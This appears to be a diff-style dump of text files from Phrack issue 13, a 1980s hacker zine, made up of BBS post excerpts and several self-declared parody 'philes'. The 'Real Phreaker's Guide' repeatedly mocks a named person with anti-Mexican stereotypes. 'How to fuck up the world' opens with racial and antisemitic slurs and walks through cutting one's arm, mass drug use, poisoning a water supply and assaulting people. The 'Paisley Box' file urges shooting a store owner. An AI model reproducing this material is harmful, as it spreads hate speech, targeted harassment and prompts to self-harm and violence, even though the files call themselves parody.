+
479
+ From: DOOM PROPHET
480
+ Date: MON FEB 16 9:56:08 PM
481
+
482
+ I think common sense should be used by the authors and editors of newsletters
483
+ that get around, that is, not to overplay or exaggerate anything concerning
484
+ someone's feats, or knowingly print invalid information while keeping the real
485
+ information for themselves. Of course, if the whole newsletter writing
486
+ population (of which I am a part) started churning out idiotic files about
487
+ idiotic things, then maybe the security people and rich business pigs would
488
+ dismiss us as dumb kids.
489
+
490
+ Example:
491
+ !@#$%^&*()_+!@#$%^&*()_!@#$%^&*()!@#$%^&*()!@#$%^&*()!@#$%^&*()!@#$%^&*()+_!$#!
492
+
493
+
494
+
495
+ HOW TO DISCONNECT SOMEONE'S LINE
496
+
497
+ By KODE KID 100
498
+
499
+ 0k d00dz, just g0 t0 the f0ne line where it cumes out of the house and pull on
500
+ it as hard as you can. Then, the loze has his line disconnected until AT&T
501
+ Repair service soldiers come to fix it.
502
+
503
+ L8r111
504
+
505
+ K0DE KID 1OO
506
+ -The Marauders
507
+
508
+ PS: Call Digit/\|_ ITS *ELITE*,tonz of k0dez 4 *REAL* hackers!
509
+
510
+ !$#@!!$^%$#&^%*^&(*^(&)(*___++((*_)&+(%^$%^#%$%$@%#$#%^#^%&#$^%&&%?<<?$&@#$%!@!
511
+
512
+
513
+ 78/81: A New Mod..
514
+ From: THE LINEMAN
515
+ Date: MON MAR 09 2:05:25 AM
516
+
517
+ I have an idea for a mod that will save the users a hell of a lot of time.
518
+ Howabout put an IF THEN statement when you are saving the message so that if
519
+ the name is "ORYAN QUEST" then it won't save then we won't get rodenty G-File
520
+ posts anymore. Sound good?
521
+
522
+ ciao
523
+ The Lineman
524
+
525
+
526
+ 77/77: TMC...
527
+ From: MARK TABAS
528
+ Date: SAT MAR 14 12:05:38 AM
529
+
530
+ I heard that if you crank a TMC code through the DES algorithm, and then
531
+ through the Cristensen CRC-16 algorithm, followed by complementing its
532
+ packed binary value and then encrypt it to "kl.LLL.hyuuuu" using the German
533
+ enigma, you'll get a COSMOS dialup!
534
+
535
+ Does anyone know if this works??????
536
+
537
+ tabas
538
+ _______________________________________________________________________________
539
+
540
+ Well thats it, but before we go, here is a quick look at the vote section of
541
+ Metal Shop Private:
542
+
543
+ Question #3: Should Oryan Quest be let back on?
544
+ Users voting: 8.7%
545
+
546
+ 0:No Comment
547
+ 1:No. : 3 50.0%
548
+ 2:No. : 1 16.7%
549
+ 3:No. : 0 0.0%
550
+ 4:No. : 1 16.7%
551
+ 5:No. : 0 0.0%
552
+ 6:No. : 0 0.0%
553
+ 7:No. : 0 0.0%
554
+ 8:No. : 0 0.0%
555
+ 9:No. : 1 16.7%
556
+
557
+ Your vote: No Comment
558
+ Change it? Yes
559
+
560
+ Which number (0-9) ? 1
561
+
562
+ Current Standings: Should Oryan Quest be let back on?
563
+ Users voting: 10.1%
564
+
565
+ 1:No. : 4 57.1%
566
+ 2:No. : 1 14.3%
567
+ 3:No. : 0 0.0%
568
+ 4:No. : 1 14.3%
569
+ 5:No. : 0 0.0%
570
+ 6:No. : 0 0.0%
571
+ 7:No. : 0 0.0%
572
+ 8:No. : 0 0.0%
573
+ 9:No. : 1 14.3%
574
+
575
+
576
+ Majority of Posts Taken From Metal Shop Private
577
+ Some Posts Taken From The Lost City Of Atlantis
578
+ _______________________________________________________________________________
579
+
phrack/issue13/2.txt ADDED
@@ -0,0 +1,129 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 13, Phile #2 of 10
4
+
5
+ _-><-_==_{[The REAL Phreaker's Guide Part II]}_==_-><-_
6
+ or
7
+ How To/Not To Be Elite!
8
+
9
+ Written by
10
+
11
+ Taran King and Knight Lightning
12
+
13
+ So, you're willing to give up EVERYTHING to be elite, huh? Well,
14
+ you've come to the right place. We know from EXPERIENCE. We know FIRST HAND.
15
+ We know because we ARE ELITE (not elite, ELITE).
16
+ Some of you may recall our first version of this file which was
17
+ released years ago. That was when we were young and immature. We are now
18
+ much more mature and ELITE and you aren't so there. Here's the file, learn
19
+ it, love it, live it, leach it.
20
+
21
+ !@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^
22
+
23
+ Real phreaks don't utilize anything pertaining to phreaking/hacking in their
24
+ handles (Phantom PHREAKER, CODES Master, CODE Manipulator, Bill from RNOC,
25
+ Perpetual PHREAK, Luke VAXHACKER, VMS Consultant, Holophax PHREAKER,
26
+ Ubiquitous HACKER, Dr. HACK, PHREAKY Floyd, Broadway HACKER, The Mad HACKER,
27
+ The PHREAKazoid, PHREAKenstein, Dan The OPERATOR, and ORYAN QUEST).
28
+
29
+ Corollary: Real phreaks or hackers don't have ORYAN QUEST in their name.
30
+
31
+ Real phreaks don't get in trouble when people harass their parents (Phucked
32
+ Agent 04, The Executioner, and Oryan Quest).
33
+
34
+ Corollary: Real phreaks don't name themselves Oryan Quest if they know that
35
+ they're going to receive harassing phone calls.
36
+
37
+ Real phreaks don't look like celebrities (Mark Tabas - Tom Petty, Shooting
38
+ Shark - Mork from Ork, Telenet Bob - Danny Partridge (200 pounds later), John
39
+ Draper - Marty Feldman in Young Frankenstein, The Executioner - All of the
40
+ group members of Loudness, Broadway Hacker/The Whacko Cracko Bros. - Tommy
41
+ Flenagan, Mr. Zenith's mother - Fred Sanford, The Lineman - Spanky, Sigmund
42
+ Fraud - The Great Pumpkin, and Oryan Quest - the Mexican cab driver in D.C.
43
+ Cab).
44
+
45
+ Corollary: Real phreaks didn't crawl under a fence to become a citizen of the
46
+ United States of America.
47
+
48
+ Real phreaks don't go to Tap (Dead Lord, Cheshire Catalyst, Sid Platt, and
49
+ Oryan Quest).
50
+
51
+ Corollary: Real phreaks don't piss Taran King off so that they would get a
52
+ rag file dedicated to them.
53
+
54
+ Real phreaks don't name their group after a real phreak (New religion:
55
+ Luthorian.)
56
+
57
+ Real phreaks don't get busted and come back numerous times (The Whacko Cracko
58
+ Bros., Dr. Who, Mark Tabas, Holophax Phreaker, and Oryan Quest).
59
+
60
+ Real phreaks don't get kicked out of the FBI (Ahem!).
61
+
62
+ Real phreaks can't speak 2600 in their normal, everyday voice (Ax Murderer,
63
+ The Wizard, The Preacher, and Oryan Quest).
64
+
65
+ Real phreaks don't have busha-bushas (Eric Corley, John Maxfield, The Bootleg,
66
+ and not Oryan Quest's mother).
67
+
68
+ Real phreaks aren't religious fanatics (The Preacher, The Pope, The Exorcist,
69
+ Magnetic Pope, All Members of Cult of the Dead Cow, Mr. Zenith's mom, The
70
+ Prophet, Lucifer 666, Angel of Destiny, and Satan [Oh, and Oryan Quest]).
71
+
72
+ Real phreaks don't use vaseline for mousse (Oryan Quest).
73
+
74
+ Real phreaks don't eat tacos for breakfast, burritos for lunch, and
75
+ enchilladas for dinner (Oryan Quest).
76
+
77
+ Corollary: Real phreaks don't need to get the cheese for their Mexican dinner
78
+ from the government (Oryan Quest).
79
+
80
+ Real phreaks don't claim to get busted 3 times to make a good reputation as a
81
+ phreaker or hacker for themselves (Oryan Quest).
82
+
83
+ Real phreaks don't answer to "Paco" (Oryan Quest).
84
+
85
+ Real phreaks don't use Maintenance Busy in an effort to unleash with full
86
+ force (Oryan Quest).
87
+
88
+ Real phreaks can rag on better things than an individual's mom (Oryan Quest).
89
+
90
+ Real phreaks' caps lock didn't get stuck when signing their first message
91
+ after they typed their first name (Oryan QUEST).
92
+
93
+ Real phreaks don't claim to know more than 65% of the phreak world (Oryan
94
+ Quest).
95
+
96
+ Real phreaks don't have a girlfriend that needs to shave...their face (Oryan
97
+ Quest).
98
+
99
+ Real phreaks haven't been around for 4 years without accomplishing something
100
+ (Oryan Quest).
101
+
102
+ Real phreaks CAN'T argue with their parents in Spanish (Oryan Quest).
103
+
104
+ Real phreaks don't:
105
+
106
+ Cash $5,000,000 checks.
107
+
108
+ Card minicomputers.
109
+
110
+ Card gold.
111
+
112
+ Get busted for hacking but let off due to police brutality (?!?).
113
+
114
+ Write books on the topic.
115
+
116
+ Say they're from outside of Illinois when working for Illinois Bell.
117
+
118
+ !@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^
119
+
120
+ You, the reader, must understand that this is all written with the
121
+ very least in seriousness (except that written about Oryan Quest). Anything
122
+ contained in the file is just poking fun at people without trying to really
123
+ make them feel bad (except for Oryan Quest).
124
+ To the various people that have contributed various pieces and bits
125
+ to this file, we wish to extend great thanks for your innovativeness (or lack
126
+ thereof).
127
+ Now, you too, can be ELITE.
128
+
129
+ !@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^
phrack/issue13/3.txt ADDED
@@ -0,0 +1,139 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 13, Phile #3 of 10
4
+
5
+ /|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\
6
+ \|/ How to fuck up the world \|/
7
+ /|\ Writen 10:03 pm December 2nd 1986 /|\
8
+ \|/ by the Neon Knights and Metal Communications \|/
9
+ /|\ Thanx to the Metallain,Zandar Zan,Marlbro Reds,ACID,The High Lord /|\
10
+ \|/ Satan,Apple Maniac,The Necrophiliac&The Necrophobic (for theri awesome\|/
11
+ /|\ dox-file skils),SLayer,Megadeth,Overkill,Samhain,The Misfits (fuck yea/|\
12
+ \|/ Hi Glenn!),The Blade,Killer Kurt,and Steve Wozniak even thouhg hes a \|/
13
+ /|\ wimp! /|\
14
+ \|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/
15
+ /|\ Fuck off all niggers jews commusnists retarted /|\
16
+ \|/ arabians peopel who dont own computers and any welfare starving shit \|/
17
+ /|\ headed bastard who doesnt have an Applecat modem! /|\
18
+ \|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/
19
+ /|\ Im not even going to write a list of boards for you to call. Well /|\
20
+ \|/ what the fuck I guess I will put at least one..... \|/
21
+ /|\ Call the Metal AE (201)-(879)-(666)-(8) for the latest in Neon /|\
22
+ \|/ Knights wares and for a cool board/cool sysop/cool wares/just all \|/
23
+ /|\ around cool! /|\
24
+ \|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/
25
+
26
+ The Phile itself:
27
+
28
+ When your like me and get bored eassily its veryt hard to keep fuctiong the way
29
+ your parents expet you to. I would go out with Killer Kurt all the time and dest
30
+ roy evrything we coiuld find that looked stupid,get drunk off my ass,trip on aci
31
+ d(like im doing righ now),use the necronimiconm to summon a watcher to kill my t
32
+ eachewrs my douchbag bratty sister and the fat sickining son of a bitch that liv
33
+ es next door to me,and my parents would very rarely do anything to try to stop m
34
+ e. i gues they just thought i was goin throuhg a phase or sometihg like that. We
35
+ ll I finalyl hit upon the perfect combination of things to do that not only get
36
+ your parents to reac, the are a hell of a lot of fun and cause so much evil, cha
37
+ os, and havoc that Satan will be sure to reservbe a good seat in Hell for you. S
38
+ o now Here are step by stpe instructins on HOW TO FUCK UP THE WORLD
39
+
40
+ Step one:Get.a large supply fo plastics garbage bags, gas or other very flammabl
41
+ le shit,and a flamsthrower or somet other way to light fires from a distance (ju
42
+ st to make sure you dont die yourself before your ready).Also i forgot to mentio
43
+ n,take a good amount of drugs befoere you start doin this so youll be able to fi
44
+ nish what you start.I reccommend about three hits of blotter acid (4way album co
45
+ ver is best,thats what i use),about 2 grams of weed (smoked),some mescaline if y
46
+ ou can get it (arizona is a great place to pick it yourself),and of course the g
47
+ ood old american tradition of JACK DANIELS. Most people mix this with coke but I
48
+ have invented a new way to do it,which ya do by mixing it with JOLT cola instead
49
+ . tHIS (godamn fuckin caps lock key) will get you really goin, you may want to
50
+ use some speed as well so you dont pass out and some ludes or other type of down
51
+ er just to keep you balancd well. now make sure you can still stand up (once you
52
+ get that far the rest will come naturaly) and get in yer pickup (if you dont hav
53
+ e a pickup there is no hope for ya!) and drive. Oh remember to take the gas, bag
54
+ s, and light with you.
55
+
56
+ Step two: Drive to a secluded area and preparew for your assault on the armies o
57
+ f the conformist bastards. What your gonna be doin here is summoning a demon. Th
58
+ is is one of the waeker types according to the Necromnicon so you can control it
59
+ easily in your druged state but powerful enouhg to actually be of use to ya. So
60
+ draw yer pentagram on the ground,get a Slayer tapepl aying (no motley crue!!! or
61
+ the demon will laugh its ass off at you before killing you and eating your soul.
62
+ Adn thats a big waste of time not to mention no fun at all.) set candles at all
63
+ cardinal points and cut a long incision down the lenght of your arm about frmo
64
+ mid-bicep to just before your wrist as you dont want to bleed to death,just enou
65
+ gh to get about 3/4 of a pint or so. Drip all this blood inside the pent.,and ch
66
+ ant the following:
67
+ "YOGGIH PPEDRILS, STOWART EHNTAHL SHILGLI DRAGGULS UOHT!"
68
+ Say this5 times and you shoukld noteice the candles flikckering (hmm i blieve th
69
+ e rrUSH is starting to come on nwo, this sucker relly was worht 40 a sheet!!)! B
70
+ y the way that shit up there that ya say is not nay kind of backjwards bullshit,
71
+ it is the real stuff. I paid 40 bux for my copy of the youknowwhat so i oughtta
72
+ know. now where was i o yeah. Onece the damn thing appears thjen you gotta estab
73
+ lish control over it real qiock before it start getting any ideas. by the way in
74
+ caser you wodering what it will look like it is a big motherfucker approx. 20 fe
75
+ eet tall with green leathery sking. If you get the wrong one it doesnt really ma
76
+ tter that much anywayt since youll be dyin soon but it helps. so now get it to f
77
+ ly along above yer truck (tell it to be invisible so ya dont have peopl starin a
78
+ t ya!) and drive back to whereever it is that your gonna destroy.
79
+
80
+ Step three: stop back at yer house wreal quick and pick up the follwng. If you d
81
+ ont have all this at house then just go by a hardware storte and a drugstore and
82
+ picjk it up. if the owner objkects then just take out his kneecaps with your cro
83
+ wbar and he wont be goin anywhere for a long time.
84
+ 30 dozen hammers
85
+ 50 gallons of paint (asorted colors is nice but not necesary)
86
+ (jesus this is weird, have any of you ever seen ther letters on yer screen wiggl
87
+ ing and boucing didnt think so!!) now where was i/
88
+ 5-10 tanks of propane
89
+ 100+ gallons of gas (for a seperate use than the gas i alreadyu mentiond)
90
+
91
+ from the drugstore,or your closet if your like me and keep a constant supply of
92
+ every kind of drug ever made):
93
+ 1,000 doses of pseudoephedrine (there we go,i spelled it right! well ive got the
94
+ catalog next to me so fuck it anyway,it doesnt mean shit.neuither does your mama
95
+ . i think im getting off track - wel then again it is kind og amazing cause my
96
+ ingers are twichin so bad)
97
+ 5,000 doses of LSD
98
+ 250 doses of qualudes
99
+ 600 cases of JACK DANIELS
100
+
101
+ ok now for the good part. Consume all of these yourself! HAAHAHA! i bet you thou
102
+ ght you were suposed to put them in the citys water supply or soething! but now
103
+ you better get moving cause this is all gonna take effect within the hour! but i
104
+ f ya wanna save some to put in the citywater then go ahead,you wont have quite a
105
+ s much fun but who the fuck am i to tell you exactly how to do things.
106
+
107
+ Step four: Drive to the heart of the city. on the way see how many little old la
108
+ dies and fag poodles ya can hit. When ya get to the talest building in town smas
109
+ h into a fire hydrant in front of it. now get out and run like a bitch *just hav
110
+ e the demon carry all the shit for ya*! and go to the FUCKEN TOP of the building
111
+ . here is where you do all this.
112
+ Make the demon inhale all the propane, and give him the smaler amount of gas (th
113
+ e one I talked about first..go back about 70 lins or so./) to drionk. Now hes al
114
+ l set. now YOU have to get on his back. make him carry the hammers and paint and
115
+ the largetr amount of gas. Have him take off and fly all over the city aas he fl
116
+ ys just throw hammers down at building windows and people and paint at both of t
117
+ hose too! Now i bet you thinking i forgot all about those garbage bags and the f
118
+ lamethrowr. Hell no i didnt! with the little bit of propane hes got left have hi
119
+ m blow up the bags so they make a giant baloon. now you take the big amount of g
120
+ as and drink it (after all those other drugs it should be a smnap!) and jump. Wi
121
+ th your weight off him and all that propane in him and with that baloon he will
122
+ instantly take off straight up into heaven, where he will cause some wicked shit
123
+ to happen! As for you, you will fly down and hit the ground, and be goin so fast
124
+ that you go right through all the way to Hell. Once you get there all the gas in
125
+ you will ingite and BOOM! Satan will be proud of you for sure! a perfect ending
126
+ to a perfect day!
127
+
128
+ /|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\
129
+ \|/ Keep those credits up there excatly as they are (inother words,puttin\|/
130
+ /|\ your K-K00l board up there WONT be tolerated!) or we will fuck you up. /|\
131
+ \|/ If ya dont believe us by now your retarted. -Killer Kurt \|/
132
+ /|\ -And the rest of the 'knights! /|\
133
+ \|//|\\|//|\\|//|\\|//|\\|//|\\|//|\\|//|\\|//|\\|//|\\|//|\\|//|\\|//|\\|//|\
134
+ /|\ Copywrit 1986 by Neon Knights/Metal Communications/ /|\
135
+ \|/ Black Death/No Love \|/
136
+ /|\ We're rad...we kill children! /|\
137
+ \|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/
138
+
139
+ Oh, and by the way, the above file was a parody by UrLord, Thomas Covenant.
phrack/issue13/4.txt ADDED
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1
+ ==Phrack Inc.==
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+
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+ Volume Two, Issue 13, Phile #4 of 10
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+
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+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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+ /|\ the Neon Fucken Knights /|\
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+ \|/ present with no alternative \|/
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+ /|\HOW TO BUILD A PAISLEY BOX! /|\
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+ \|/ by the fucked up Blade \|/
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+
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+ ~~~~~~~~~~~~~~~~~~~~~
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+
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+ All right, so i mfucken in 40 cols..what's it matter? i just
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+ realized that many idoits out ther still dont know how to make one of
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+ the greatest anarchiust tools ever, the Paisley Box. This little
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+ beauty will do just about anuyt6hing ya want, including:
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+ --Seize operator lines
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+ --Remote control over all TSPS and TOPS consols
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+ --All other box functions combind in oine, includin blue, beige, and
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+ blotto
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+
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+ so ya wanna know how to build this fucker and go out terrorizin ma
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+ bell..well sit tight, we wont bother with any fucken diagrams cause
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+ those are for dweebs (right necro? right!) here we go!
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+
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+ first of all get about 20 lbs of quality drugs and 3 or 4 kegs. you
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+ might
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+ think that you need this for the contruction of the box but, you don't
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+ you take it all yerself!!
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+ this will mellow ya out enuf to follow our planz. lessee, oh yea
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+ parts list:
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+ --about 50 ffeet of copper wier, hopfully insulated
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+ --an old (prefer touchton) phone that ya dont need no more
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+ --a honda genorateer (don't pay for it, just card it. right necro?
35
+ right!)
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+ --and one of the empty kegs that ya drank to put it all in. the
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+ genarater will fit fine and the rest ya can attach to the outsid if
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+ thats your fucken urge.
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+
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+ now for tha actualy construciton details:
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+
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+ oh shit, we forgot one fuckin thing. go to you local hadware stoer and
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+ find the guy who owns it, get a gun and blow his fuckin head off (you
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+ can card the gun two) this isn't for the box but, it fun and it will
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+ make satan happy so yor box will work better.
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+
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+ now with the empty keg and all the stuf we put up there ( i think
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+ about 20 lins ofr so up )_ attach the genarater to all the other shit
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+ however ya please, now get some nice paisley wallpaper from your mom
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+ 9(steal it if she wants it still) and put it all on the oputsid of teh
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+ keg. you now have a 100% genuine Neon Knights approvd Paisley Box!
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+
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+ How touse:
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+
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+ hook that son of a bithc up to yir modem (thats only if you got a 212
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+ cat. if you don't then you are an asshole anyway and the box will
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+ blow you fucken house aprt but, satan will be happy.)
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+
59
+ now turn yer dam computer on, and when the prkmpt comes up(
60
+ hardwird into the box of cors! whatdday think we are, stupid? )
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+ type: 666 (space) SATAN RULES (space) MY SWEET SATAN!
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+
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+ then the menu will coume up on you screen and it will say.
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+
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+ 1) fuck the operator around
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+ 2) take control of the pentagon
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+ 3) imitatte boxes (blue, blotto)
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+ 4) fuck-a-geek
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+
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+ choose whatever ya want, except if ya get tired of it and want to
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+ trash th thing type 666 for a choice. the box will sef destructt, yer
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+ computer will explod, anmd in its trahsing death throes speak an
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+ chant taht will summon satan to take you away to the depths of
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+ HELL!!!
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+
76
+ use this masterpece proerly, and remember: NO FUCKEN LOSERS!
77
+
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+ `'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'
79
+
80
+ Call these genocidal systemz:
81
+
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+ The Gatest of Hell 555-51325-634637-3
83
+ 1200 ONLY DAMMIT!
84
+ Mephisto's Suicidal Nightmare 2436-234-666 (of course!)
85
+ 1200 ONLY DAMMIT!
86
+ The Dead Fuckers Realm 2436-99-2309
87
+ 300 only for now (dammit!)
88
+
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+ sorry for the sloppy look compared to our usual k00l neat files, but my
90
+ computer got confiscate d by the fucke n pigs so i have to
91
+ telerwit this fucker usin a dumb terminal, until i card another!
92
+ should be within the week!
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+
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+ but don't forget to call the rad Metal AE
95
+ 201-879-[666]8 9600 baud only (god fuckin dammit) 4 drives with 710
96
+ megs soon (we promise this time).
97
+ Kneon Nights "We're Rad, we kill children!!"
98
+
99
+
100
+ end of file
101
+
102
+
103
+
104
+ i said end of file dammit!
105
+
106
+
107
+
108
+
109
+
110
+ what are you still fucken readin for? hit escape you stupid
111
+ shithead!
112
+
113
+
114
+ if you dont fucken hit escape i will call satan on you!!!
115
+
116
+ fuck the dead!
117
+
118
+ ***
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+ ***
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+ ***
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+ ***
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+ ***********
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+ ***********
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+ ***
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+ ***
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+
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+ Oral roberts is the anti-christ!!!
128
+
129
+ oh and remember: this has been a fucken parody from thomas fucken
130
+ covenant and double fucken helix. Call Thieve's World, the last
131
+ bastion of free thought: 616-344-2718.
132
+
133
+ "Whaddya mean I don't believe in God? ... I talk to him every day!"